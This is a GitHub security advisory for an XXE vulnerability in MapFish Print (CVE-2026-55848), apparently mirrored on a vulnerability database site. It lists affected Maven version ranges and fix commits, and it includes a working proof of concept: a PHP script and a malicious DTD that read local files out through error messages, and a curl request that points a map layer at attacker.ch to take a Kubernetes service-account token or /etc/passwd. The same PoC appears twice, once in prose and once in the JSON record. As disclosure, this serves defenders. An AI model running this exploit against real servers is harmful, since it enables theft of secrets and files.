GHSA-5V29-34H8-V68R
Vulnerability from github – Published: 2026-08-28 22:33 – Updated: 2026-08-28 22:33Summary
XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.
https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507
Details
To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.
The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.
PoC
Host this php file somewhere as xxe.php:
<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
<!ENTITY % payload SYSTEM \"file://$p\">
<!ENTITY % dtd SYSTEM \"$u\">
%dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";
and beneath host this "evil.dtd"
<!ENTITY % exfil "<!ENTITY % error SYSTEM 'file:///xxe-exfil/%payload;'>">
%exfil;
%error;
Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)
curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \
-H 'Content-Type: application/json' \
-d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'
Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.
It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://
Impact
disclose local files. blind(ish) SSRF (depends on the servers response data)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.mapfish.print:print-lib"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.28.30"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.mapfish:print.print-servlet"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.28.30"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.mapfish.print:print-lib"
},
"ranges": [
{
"events": [
{
"introduced": "3.29.0"
},
{
"fixed": "3.30.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.mapfish.print:print-servlet"
},
"ranges": [
{
"events": [
{
"introduced": "3.29.0"
},
{
"fixed": "3.30.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.mapfish.print:print-servlet"
},
"ranges": [
{
"events": [
{
"introduced": "3.31.0"
},
{
"fixed": "3.31.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.mapfish.print:print-lib"
},
"ranges": [
{
"events": [
{
"introduced": "3.32.0"
},
{
"fixed": "3.33.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.mapfish.print:print-servlet"
},
"ranges": [
{
"events": [
{
"introduced": "3.32.0"
},
{
"fixed": "3.33.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.mapfish.print:print-lib"
},
"ranges": [
{
"events": [
{
"introduced": "3.34.0"
},
{
"fixed": "4.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.mapfish.print:print-servlet"
},
"ranges": [
{
"events": [
{
"introduced": "3.34.0"
},
{
"fixed": "4.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55848"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T22:33:35Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nXXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.\n\nhttps://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507\n\n### Details\nTo trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.\n\nThe 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.\n\n### PoC\nHost this php file somewhere as xxe.php:\n\n```\n\u003c?php\n$p=$_GET[\u0027p\u0027];\n$d=dirname($_SERVER[\u0027SCRIPT_NAME\u0027]);\n$u=(empty($_SERVER[\u0027HTTPS\u0027])?\u0027http\u0027:\u0027https\u0027).\"://{$_SERVER[\u0027HTTP_HOST\u0027]}$d/evil.dtd\";\nheader(\u0027Content-Type: application/xml\u0027);\necho \"\u003c?xml version=\\\"1.0\\\"?\u003e\n\u003c!DOCTYPE x [\n \u003c!ENTITY % payload SYSTEM \\\"file://$p\\\"\u003e\n \u003c!ENTITY % dtd SYSTEM \\\"$u\\\"\u003e\n %dtd;\n]\u003e\n\u003cwfs:FeatureCollection xmlns:wfs=\\\"http://www.opengis.net/wfs\\\" xmlns:gml=\\\"http://www.opengis.net/gml\\\"\u003e\n\u003c!-- \".str_repeat(\u0027x\u0027,200).\" --\u003e\n\u003cgml:boundedBy\u003e\u003cgml:null\u003eunknown\u003c/gml:null\u003e\u003c/gml:boundedBy\u003e\n\u003c/wfs:FeatureCollection\u003e\";\n```\n\nand beneath host this \"evil.dtd\"\n\n`\u003c!ENTITY % exfil \"\u003c!ENTITY \u0026#37; error SYSTEM \u0027file:///xxe-exfil/%payload;\u0027\u003e\"\u003e\n%exfil;\n%error;`\n\nNow send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)\n\n`curl -sk \u0027https://mapfish/api/print3/print/mapviewer/buildreport.pdf\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"layout\":\"1. A4 landscape\",\"attributes\":{\"printDate\":\"a\",\"url\":\"\",\"copyright\":\"\",\"qrimage\":\"\",\"map\":{\"projection\":\"EPSG:2056\",\"rotation\":0,\"dpi\":96,\"center\":[2600000,1200000],\"scale\":100000,\"layers\":[{\"type\":\"gml\",\"url\":\"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token\"}]}},\"outputFormat\":\"pdf\"}\u0027`\n\nIts also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.\n\nIt is actually also possible to trigger an SSRF and request internal URLs if you\u0027d change the file:// prefix in the dtd to https:// \n\n### Impact\ndisclose local files. blind(ish) SSRF (depends on the servers response data)",
"id": "GHSA-5v29-34h8-v68r",
"modified": "2026-08-28T22:33:35Z",
"published": "2026-08-28T22:33:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/pull/4221"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/pull/4219"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/pull/4217"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/pull/4216"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/pull/4215"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/pull/4212"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24"
},
{
"type": "WEB",
"url": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5"
},
{
"type": "PACKAGE",
"url": "https://github.com/mapfish/mapfish-print"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "MapFish Print has XXE that allows reading arbitrary files of certain types"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.